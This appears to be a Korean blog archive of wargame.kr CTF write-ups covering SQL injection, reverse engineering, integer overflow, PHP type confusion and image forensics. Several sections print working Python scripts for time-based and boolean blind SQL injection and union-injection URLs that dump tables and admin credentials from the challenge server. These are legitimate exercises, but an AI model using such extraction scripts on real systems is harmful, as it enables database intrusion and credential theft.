반응형
반응형
반응형

lonely guys

 

Blind SQLi challenge.

Can you SQLi with 'order by' in expression?

 

 

 

핵심 부분의 코드만 확인해보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if(isset($_POST['sort'])){
 $sort=$_POST['sort'];
}else{
 $sort="asc";
}
 
mysql_query("update authkey set authkey='".auth_code('lonely guys')."'");
$sort = mysql_real_escape_string($sort);
$result=mysql_query("select * from guys_tbl order by reg_date $sort");
while($row=mysql_fetch_array($result)){
 echo "<tr><td>$row[1]</td><td>$row[2]</td></tr>";
}
?>
 
cs

 

 

POST로 sort값을 받아서 

 

SELECT * FROM guys_tbl ORDER BY reg_date $sort

 

위 쿼리문을 실행한다.

 

 

 

 

 

 

order by 뒤 칼럼명에 서브 쿼리를 넣을 수 있다.

 

order by 칼럼명, 칼럼명, (서브쿼리), ....

 

 

if를 이용해서 time based sql injection을 시도했다.

 

 

flag는 authkey 테이블의 authkey 칼럼에 존재한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import urllib
import urllib2
import sys
import time
 
key = ""
 
def chk(payload):
    url = "http://wargame.kr:8080/lonely_guys/index.php"
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    data = {"sort": payload}
    data = urllib.urlencode(data)
    request = urllib2.Request(url, data)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    data = opener.open(request)
    data = data.read()
 
    print(payload)
    print data
    return data
 
payload = ",if(0<(select length(authkey) from authkey),sleep(1),1)"
chk(payload)
cs

 

참이면 sleep(1), 거짓이면 1을 리턴한다.

 

 

 

,if(40=(select length(authkey) from authkey),sleep(1),1)

authkey의 길이는 40임을 알 수 있다.

 

 

 

 

 

 

이제 한 글자씩 뽑아내면 된다.

 

,if(48=ord((select substr(authkey,1,1) from authkey)),sleep(1),1)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyz"
 
 
key = ""
 
 
def chk(payload):
    url = "http://wargame.kr:8080/lonely_guys/index.php"
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    data = {"sort": payload}
    data = urllib.urlencode(data)
    request = urllib2.Request(url, data)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    data = opener.open(request)
    data = data.read()
 
    print(payload)
    #print data
    return data
 
 
for i in range(40):
    for j in range(len(string)):
        payload = ",if("+str(ord(string[j]))+"=ord((select substr(authkey,"+str(i+1)+",1) from authkey)),sleep(1),1)"
 
        start = time.time()
 
        chk(payload)
 
        end= time.time()-start
 
 
        if end > 1:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs

 

반응형
반응형

keypad CrackMe

 

Simple Reverse Engineering Challenge.

 

 

키 값을 찾아내야 하는 리버싱 문제다.

 

 

 

ollydbg로 열면, Wrong 문자열을 확인할 수 있다.

 

해당 문자열이 사용되는 부분의 주소는 0x6F17DF다.

 

 

IDA에서 0x4017DF 주소 영역이 포함될 것 같은 함수 sub_401740을 찾아서 코드를 확인 할 수 있다.

 

 

 

 

 

ida 코드상 46행에 해당하는 부분 0x4017CB  --> 올리디버거 부분 0x6F17CB, 0x6F1701, 0x6F1707에

breakpoint를 걸어서 변수 v6, v5에 어떠한 값이 들어가는지, 최종 값은 몇으로 나오는지를 확인을 했다.

 

입력은 1111로 했다.

 

 

v6에 해당하는 EAX에 1이 들어가 있다.

 

 

 

 

 

 

v5에 해당하는 EDI에 정수 10진수로 1111이 들어가 있으며, 바로 이전 코드에서 연산했던 -201527 * 1의 값이 eax에 들어가 있고, eax와 edi를 더한다.

 

 

 

 

더한 값을 195934910과 비교.

 

 

 

 

 

별 특별한 연산 없이 -201527*1 + 입력값 == 195934910 의 조건만 만족하면 된다는 것을 알 수 있다.

 

따라서 입력해야 할 값은 195934910 + 201527 = 196136437이 된다.

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [crack crack crack it] 풀이  (0) 2020.01.06
Wargame.kr [lonely guys] 풀이  (0) 2020.01.06
Wargame.kr [ip log table] 풀이  (0) 2020.01.04
Wargame.kr [SimpleBoard] 풀이  (0) 2020.01.04
Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
반응형

ip log table

 

Blind SQLi challenge.

You can use 'Ascii' to 'Date'

.
 
 

페이지 소스

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<style>
 #mv_admin {cursor:hand; font-family:verdana; padding:10px; font-weight:bold;}
 td{text-align:center; height:30px;}
 .menu {background-color:#163; color:#fab;}
 .menu td{font-weight:bold;}
 .list td{text-align:center; cursor:hand;}
</style>
<script src="./jquery.min.js"></script>
<script> var f;
 function ov(){ this.style.color="#11f"; this.style.background="#ff0"; this.style.fontWeight="bold";}
 function ou(){ this.style.color="#000"; this.style.background="#fff"; this.style.fontWeight="normal";}
 function mv(){ f.idx.value=this.id; f.submit(); }
 function init(){
  a=document.getElementById("mv_admin");
  a.onmouseover=ov; a.onmouseout=ou; a.onclick=function(){window.location='admin.php';}
  f=document.getElementById("f"); iplist=$(".list");
  for(i=0;i<iplist.length;i++){
   iplist[i].onmouseover=ov; iplist[i].onmouseout=ou; iplist[i].onclick=mv;
  }
 }
</script>
<body onload="init();">
<center>
<h1>ACCESS IP LOG TABLE</h1>
<hr /><div id="mv_admin">[+] admin login [+]</div><hr />
<table border=1 width=550 align=center>
<tr class='menu'><td>idx</td><td>IP address</td></tr>
.
.
.
.
</table>
</center>
<form id="f" method="post" action="chk.php">
<input type="hidden" name="idx" value="blueh4g">
</form>
</body>
cs

 

소스를 보면, 행을 클릭했을 때 chk.php에 해당 id값을 post로 보내서 값을 받는다.

 

 

 

 

 

 

스크립트를 짜서 확인해보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import urllib
import urllib2
import re
 
url = "http://wargame.kr:8080/ip_log_table/chk.php"
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
data = {"idx":"39749 and 1=0#"}
data = urllib.urlencode(data)
request = urllib2.Request(url, data)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
 
data = opener.open(request)
data = data.read()
 
print data
 
cs

 

39748 and 1=1    => TRUE => IP log time : 2020-01-01 17:43:20

39748 and 1=0    => FLASE => IP log time : 1970-01-01 09:00:00

 

 

이 것을 이용해서 blind sqli를 하면 된다.

 

 

 

 

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import urllib
import urllib2
import sys
import time
 
key = ""
 
def chk(payload):
    url = "http://wargame.kr:8080/ip_log_table/chk.php"
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    data = {"idx": payload}
    data = urllib.urlencode(data)
    request = urllib2.Request(url, data)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    data = opener.open(request)
    data = data.read()
 
    print(payload)
    print data
    return data
 
 
'''
for i in range(70,100):
    payload = "39749 and (select count(*) from information_schema.tables)="+str(i)
    if not "1970-01-01 09:00:00" in chk(payload):
        key += str(i)
        print "[*] " +key
        break
    else:
        print "[-] Fail!"
    time.sleep(0.1)
'''
#result : 72
 
 
 
'''
for i in range(15):
    for j in range(33,127):
        payload = "39749 and ord(substring((select table_name from information_schema.tables limit 71,1),"+str(i+1)+",1))="+str(j)+"#"
        print chr(j)
        if not "1970-01-01 09:00:00" in chk(payload):
            key += chr(j)
            print "[*] " +key
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
'''
#result : ip_table
 
 
 
 
'''
for i in range(15):
    for j in range(33,127):
        payload = "39749 and ord(substring((select table_name from information_schema.tables limit 70,1),"+str(i+1)+",1))="+str(j)+"#"
        print chr(j)
        if not "1970-01-01 09:00:00" in chk(payload):
            key += chr(j)
            print "[*] " +key
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
'''
#result : admin_table
 
 
 
 
 
'''
for i in range(5):
    for j in range(33,127):
        payload = "39749 and ord(substring((select id from admin_table),"+str(i+1)+",1))="+str(j)+"#"
        print chr(j)
        if not "1970-01-01 09:00:00" in chk(payload):
            key += chr(j)
            print "[*] " +key
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
'''
#result : blue_admin
 
 
 
 
'''
for i in range(5):
    for j in range(33,127):
        payload = "39749 and ord(substring((select ps from admin_table),"+str(i+1)+",1))="+str(j)+"#"
        print chr(j)
        if not "1970-01-01 09:00:00" in chk(payload):
            key += chr(j)
            print "[*] " +key
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
'''
#result : 0h~myp4ss!
 
cs

 

칼럼개수가 너무 많아서 칼럼명을 찾기가 힘들다.

 

로그인 페이지에 있는 id와 ps를 그대로 칼럼명으로 썼더니 됐다.

 

 

 

 

얻은 id와 pw로 로그인을 하면 된다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [lonely guys] 풀이  (0) 2020.01.06
Wargame.kr [keypad CrackMe] 풀이  (0) 2020.01.06
Wargame.kr [SimpleBoard] 풀이  (0) 2020.01.04
Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
반응형

SimpleBoard

 

Simple Union SQL injection Challenge.
(but you need script... maybe?)

 

 

첫 페이지에 글 리스트가 있고

 

글을 클릭해서 내용을 확인할 수 있다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
    if (isset($_GET['view-source'])){
        if (array_pop(split("/",$_SERVER['SCRIPT_NAME'])) == "classes.php") {
            show_source(__FILE__);
            exit();
        }
    }
 
    Class DB {
        private $connector;
 
        function __construct(){
            $this->connector = mysql_connect("localhost""SimpleBoard""SimpleBoard_pz");
            mysql_select_db("SimpleBoard", $this->connector);
        }
 
        public function get_query($query){
            $result = $this->real_query($query);
            return mysql_fetch_assoc($result);
        }
 
        public function gets_query($query){
            $rows = [];
            $result = $this->real_query($query);
            while ($row = mysql_fetch_assoc($result)) {
                array_push($rows, $row);
            }
            return $rows;
        }
 
        public function just_query($query){
            return $this->real_query($query);
        }
 
        private function real_query($query){
            if (!$result = mysql_query($query, $this->connector)) {
                die("query error");
            }
            return $result;
        }
 
    }
 
    Class Board {
        private $db;
        private $table;
 
        function __construct($table){
            $this->db = new DB();
            $this->table = $table;
        }
 
        public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }
 
        private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }
 
        private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600"/SimpleBoard/");
        }
 
        public function get_list(){
            $sql = "select * from {$this->table} order by idx desc limit 0,10";
            $list = $this->db->gets_query($sql);
            return $list;
        }
 
    }
 
cs

 

 

read.php에서 sqli이 가능하다.

http://wargame.kr:8080/SimpleBoard/read.php?idx=1%20union%20select%201,2,3,4%23

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%201,2,3,4%23

다만, idx=5와 같이 존재하지 않는 내용은 70행의 UPDATE 구문에서 오류가 발생한다.

 

inc_hit()함수가 실행되지 않도록, 쿠키['view']에 /5 union select 1,2,3,4# 를 추가해주면 된다.

 

 

 

 

 

NUM TITLE HIT
1 2 3
4
LIST

 

그럼 이렇게 1,2,3,4가 출력된다. 이를 이용해서 테이블명과 칼럼명을 뽑아내보자

 

 

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%20table_name,2,3,4%20from%20information_schema.tables%23

idx=5 union select table_name,2,3,4 from information_schema.tables#

 

NUM TITLE HIT
README 2 3
4
LIST

 

README가 튀어나왔다.

 

 

 

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%20column_name,2,3,4%20from%20information_schema.columns%23

idx=5 union select column_name,2,3,4 from information_schema.columns#

 

NUM TITLE HIT
flag 2 3
4
LIST

 

flag가 튀어나왔다.

 

 

 

 

 

 

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%20flag,2,3,4%20from%20README%23

GET FLAG!

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [keypad CrackMe] 풀이  (0) 2020.01.06
Wargame.kr [ip log table] 풀이  (0) 2020.01.04
Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
반응형

pyc decompile

 

bughela.pyc

:D

 

 

 

 

 

servertime 이 표시되며, pyc 파일이 주어진다.

 

pyc는 python에서 import 한 py파일을 컴파일해서 만들어진다.

 

 

 

 

 

 

 

pyc 디컴파일은 간단하다.

 

sudo pip install uncompyle6
uncompyle6 bughela.pyc 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# uncompyle6 version 3.6.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.6.9 (default, Nov  7 2019, 10:44:02) 
# [GCC 8.3.0]
# Embedded file name: bughela.py
# Compiled at: 2015-02-09 16:13:20
import time
from sys import exit
from hashlib import sha512
 
def main():
    print 'import me :D'
 
 
def GIVE_ME_FLAG(flag):
    if flag[:43!= 'http://wargame.kr:8080/pyc_decompile/?flag=':
        die()
    flag = flag[43:]
    now = time.localtime(time.time())
    seed = time.strftime('%m/%d/HJEJSH', time.localtime())
    hs = sha512(seed).hexdigest()
    start = now.tm_hour % 3 + 1
    end = start * (now.tm_min % 30 + 10)
    ok = hs[start:end]
    if ok != flag:
        die()
    print 'GOOD!!!'
 
 
def die():
    print 'NOPE...'
    exit()
 
 
if __name__ == '__main__':
    main()
 
cs

 

19행부터 24행의 과정을 거쳐서 flag값을 만들어낸다.

 

해당 코드만 뽑아서 flag를 가져오는 코드를 작성하였다.

 

 

 

주의 할 점은 서버의 시간과 로컬의 시간이 맞지 않다.

따라서 로컬의 시간을 서버의 시간으로 맞춰주어야 한다. (10행에서 보정)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import time
from hashlib import sha512
 
url= 'http://wargame.kr:8080/pyc_decompile/?flag='
 
now = time.localtime(time.time())
seed = time.strftime('%m/%d/HJEJSH', time.localtime())
hs = sha512(seed).hexdigest()
start = now.tm_hour % 3 + 1
end = start * ((now.tm_min+8) % 30 + 10)
ok = hs[start:end]
print ok
 
 
import urllib
import urllib2
 
 
url += ok
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
request.get_method = lambda:'GET'
 
data = opener.open(request)
data = data.read()
 
print data
 
cs

 

 

 

 

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [ip log table] 풀이  (0) 2020.01.04
Wargame.kr [SimpleBoard] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
반응형

web chatting

Simple SQLi Challenge.

How can I set in order to reduce the traffic?

Please try looking at a developer's perspective.

 

 

 

로그인을 해서 페이지소스를 보면, 채팅 내용 갱신을 위해 

http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=54772

 

이렇게 chatview.php에 인자갑으로 t=1과 ni값을 보내주고 있다.

 

 

이 ni값에 50000 or 1과 같은 값을 입력했더니 모든 채팅내용을 확인할 수 있는 것으로 보아, sqli가 가능함을 알 수 있다.

 

그러나 앞으로 공격은 스크립트로 해야할 것 같다. 브라우저를 이용할 경우, 내용이 너무 많아 브라우저가 멈춰서 전체 내용을 확인할 수 없기 때문이다.

 

 

 

 

 

 

 

 

 

 

일단, union을 사용해서 sqli를 시도했다.

ni=54772 union select 1,2,3,4,5 --

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib
import urllib2
import re
 
payload = "54772 union select 1,2,3,4,5 --"
payload = urllib.quote(payload)
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="+payload
 
print url
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
request.get_method = lambda:'GET'
 
data = opener.open(request)
data = data.read()
 
data = data.replace("<br />""\n")
data = re.sub('<.+?>''', data, 0, re.I|re.S)
print data
 
cs

 

그 결과, 마지막행에 아래 내용이 출력되었다.

 

2 (5..*.) : 3

 

select 했던 2, 3, 5가 나온 것이다. 

 

 

 

 

 

 

 

 

이제 information_schema 테이블이 이용해서 테이블 이름과 칼럼 이름 리스트를 확인할 수 있다.

ni=54772 union select 1,table_name,3,4,5 from information_schema.tables --

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib
import urllib2
import re
 
payload = "54772 union select 1,table_name,3,4,5 from information_schema.tables --"
payload = urllib.quote(payload)
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="+payload
 
print url
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
request.get_method = lambda:'GET'
 
data = opener.open(request)
data = data.read()
 
data = data.replace("<br />""\n")
data = re.sub('<.+?>''', data, 0, re.I|re.S)
print data
 
cs

 

 

INNODB_SYS_FOREIGN (5..*.) : 3
INNODB_SYS_COLUMNS (5..*.) : 3
INNODB_FT_DEFAULT_STOPWORD (5..*.) : 3
INNODB_BUFFER_PAGE (5..*.) : 3
INNODB_CHANGED_PAGES (5..*.) : 3
chat_log (5..*.) : 3
chat_log_secret (5..*.) : 3

 

 

 

 

 

 

 

 

 

 

 

readme라고 하는 칼럼명을 확인 할 수 있다. 그러면, chat_log_secret 테이블에 readme라고 하는 칼럼이 있다는 것을 예측할 수 있다.

 

 

 

 

 

 

 

한번 확인해 보면,

마지막 줄에 플래그값이 출력된다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [SimpleBoard] 풀이  (0) 2020.01.04
Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
반응형

EASY_CrackMe

 

Simple Reverse Engineering Challenge.


Find the Password!! xD
패스워드를 찾아보세요!! xD

CrackMe1st.exe (compiled on Windows7 Visual studio 2008)]

 

 

 

ida로 열어보자

 

wcsstr() 함수는 문자열을 검색하는 함수이다.

 

_my_b 와 birth가 존재하는지를 찾아내는 것이다.

 

_wtoi는 문자열에 있는 숫자를 찾아서 정수로 반환해준다.

 

 

따라서 패스워드는 1114_my_birth

 

 

http://wargame.kr:8080/prob/18/ps.php?p=1114_my_birth

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
Wargame.kr [type confusion] 풀이  (0) 2019.12.31
반응형

php? c?

 

 

do you know "integer type" of 32bit application?

 

 

입력칸이 2개가 있다.

D1

D2

 

 

소스를 보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 require("../lib.php"); // include for auth_code function.
 if(isset($_POST['d1']) && isset($_POST['d2'])){
  $input1=(int)$_POST['d1'];
  $input2=(int)$_POST['d2'];
  if(!is_file("/tmp/p7")){exec("gcc -o /tmp/p7 ./p7.c");}
  $result=exec("/tmp/p7 ".$input1);
  if($result!=1 && $result==$input2){echo auth_code("php? c?");}else{echo "try again!";}
 }else{echo ":p";}
?>
<style>
 table {background-color:#000; color:#fff;}
 td {background-color:#444;}
</style>
<hr />
 <center>
  <form method='post'>
  <table>
  <tr><td>D1:</td><td><input type='text' id="firstf" style="width:75px;" maxlength="9" name='d1'></td></tr>
  <tr><td>D2:</td><td><input type='text' style="width:75px;" name='d2'></td></tr>
  <tr><td colspan="2" style="text-align:center;"><input type='submit' value='try'></td></tr>
  </table>
  </form>
 <div><a href='?view-source'>get source</a></div>
 </center>
 <script>
  document.getElementById("firstf").focus();
 </script>
cs

 

p7 에 인자값으로 input1을 줘서 실행 값이 1이 아니면서 input2와 값이 같으면 플래그를 얻을 수 있다.

 

p7.c를 확인해보자

http://wargame.kr:8080/php_c/p7.c

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
void nono();
int main(int argc,char **argv){
 int i;
 if(argc!=2){nono();}
 i=atoi(argv[1]);
 if(i<0){nono();}
 i=i+5;
 if(i>4){nono();}
 if(i<5){printf("%d",i);}
 return 0;
}
void nono(){
  printf("%d",1);
  exit(1);
}
cs

 

8행 : i가 음수이면 안됨

 

10행 : i+5 가 4보다 크면 안됨

11행 : i+5가 5보다 작으면 안됨

 

 

이 조건을 모두 만족하는 i는 없는 것 처럼 보이지만, intager overflow를 하면 모든 조건문을 통과할 수 있다.

 

int의 최댓값+1이 되면 0 또는 음수값으로 인식을 하기 때문이다.

https://m.blog.naver.com/wwwkasa/80180210172

 

정수 오버플로우(Integer Overflow)

# 정수 오버플로우(Integer Overflow) 1. 개요 정수형 변수의 오버플로우는 정수값이 증가하면서 허용된 ...

blog.naver.com

 

d1 : 2147483643

d2 : -2147483648

 

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
반응형

img recovery

Recovery the PNG image file!

but.. is this really "PNG" file?
(NO STEGANOGRAPHY. THIS IS FORENSIC CHALLENGE)

 

코드를 찾으라고 한다.

 

이미지라고는 pattern.png 밖에 없는 듯 하다.

 

해당 파일을 다운받아서 분석해보았다.

 

 

TweakPNG 로 열어보면

PNG파일의 확장포멧인 APNG파일임을 알 수 있다.

https://ko.wikipedia.org/wiki/APNG

 

APNG - 위키백과, 우리 모두의 백과사전

위키백과, 우리 모두의 백과사전. 애니메이션 포터블 네트워크 그래픽스애니메이션 PNG (일부 웹 브라우저에서는 정적인 이미지로 표시됨)파일 확장자.png .apng발표일2008년 8월 4일 (11년 전)(2008-08-04)포맷 종류애니메이션 래스터 이미지 포맷다음으로부터 확장PNG오픈 포맷?예 APNG(Animated Portable Network Graphics)는 PNG를 확장한 이미지 파일 포맷으로, Stuart Parmenter와 Vladimir

ko.wikipedia.org

 

 

 

 

 

도구를 이용해서 이미지를 분리해 내자

 

 

https://ezgif.com/split

 

Split animated GIF image in frames (free online tool)

This online tool is designed to convert an animated GIF (and WebM, APNG, MNG) image into individual frames for editing or viewing them separately.

ezgif.com

 

 

 

 

다운받은 이미지와 웹브라우저에 봤던 이미지와 다른데, 

 

생긴게 qr코드 처럼 생겼다.

 

포토샵으로 두 개를 겹치면 qr코드를 얻을 수 있고, 스캔하면 코드를 얻을 수 있다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
반응형

type confusion

Simple Compare Challenge.

hint? you can see the title of this challenge.

:D

 

 

와 간단 비교 챌린지!

 

힌트는 이 문제의 제목이라고 한다. type confusion 타입을 혼동

 

 

 

페이지 소스

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 if (isset($_POST['json'])) {
     usleep(500000);
     require("../lib.php"); // include for auth_code function.
    $json = json_decode($_POST['json']);
    $key = gen_key();
    if ($json->key == $key) {
        $ret = ["code" => true"flag" => auth_code("type confusion")];
    } else {
        $ret = ["code" => false];
    }
    die(json_encode($ret));
 }
 
 function gen_key(){
     $key = uniqid("welcome to wargame.kr!_"true);
    $key = sha1($key);
     return $key;
 }
?>
 
<html>
    <head>
        <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
        <script src="./util.js"></script>
    </head>
    <body>
        <form onsubmit="return submit_check(this);">
            <input type="text" name="key" />
            <input type="submit" value="check" />
        </form>
        <a href="./?view-source">view-source</a>
    </body>
</html>
cs

 

usleep(500000); == sleep(0.5);

 

 

$key값은 sha1( welcome to wargame.kr!_[마이크로초단위의 타임스탬프] ) 이다.

 

$key값을 맞출 수는 없다.

 

 

 

 

11행을 보면  == 느슨한 비교를 하고 있다.

 

true == "string" 는 true다.

 

php 느슨한 비교 라고 검색을 해보면 ture false 표가 나온다. 참고하자.

 

 

 

 

 

우리는 $json->key 값에 true를 보내면 된다.

첫 페이지 소스를 보면, check 버튼을 누르면, submit_check(this); 함수를 호출한다.

해당 함수는 http://wargame.kr:8080/type_confusion/util.js에 정의되어있다.

 

 

 

정의된 함수를 가져와서 key값에 true가 들어가도록 재정의 해주었다. 크롬 개발자도구 콘솔창을 이용하면 된다.

 

 

25행 수정

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
var lock = false;
function submit_check(f){
    if (lock) {
        alert("waiting..");
        return false;
    }
    lock = true;
    var key = f.key.value;
    if (key == "") {
        alert("please fill the input box.");
        lock = false;
        return false;
    }
 
    submit(key);
 
    return false;
}
 
function submit(key){
    $.ajax({
        type : "POST",
        async : false,
        url : "./index.php",
        data : {json:JSON.stringify({key: true})},
        dataType : 'json'
    }).done(function(result){
        if (result['code'== true) {
            document.write("Congratulations! flag is " + result['flag']);
        } else {
            alert("nope...");
        }
        lock = false;
    });
}
cs

 

그러면 입력란에 아무거나 입력하고 check를 누르면 flag를 얻을 수 있다.

 

 

 

 

 

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24

+ Recent posts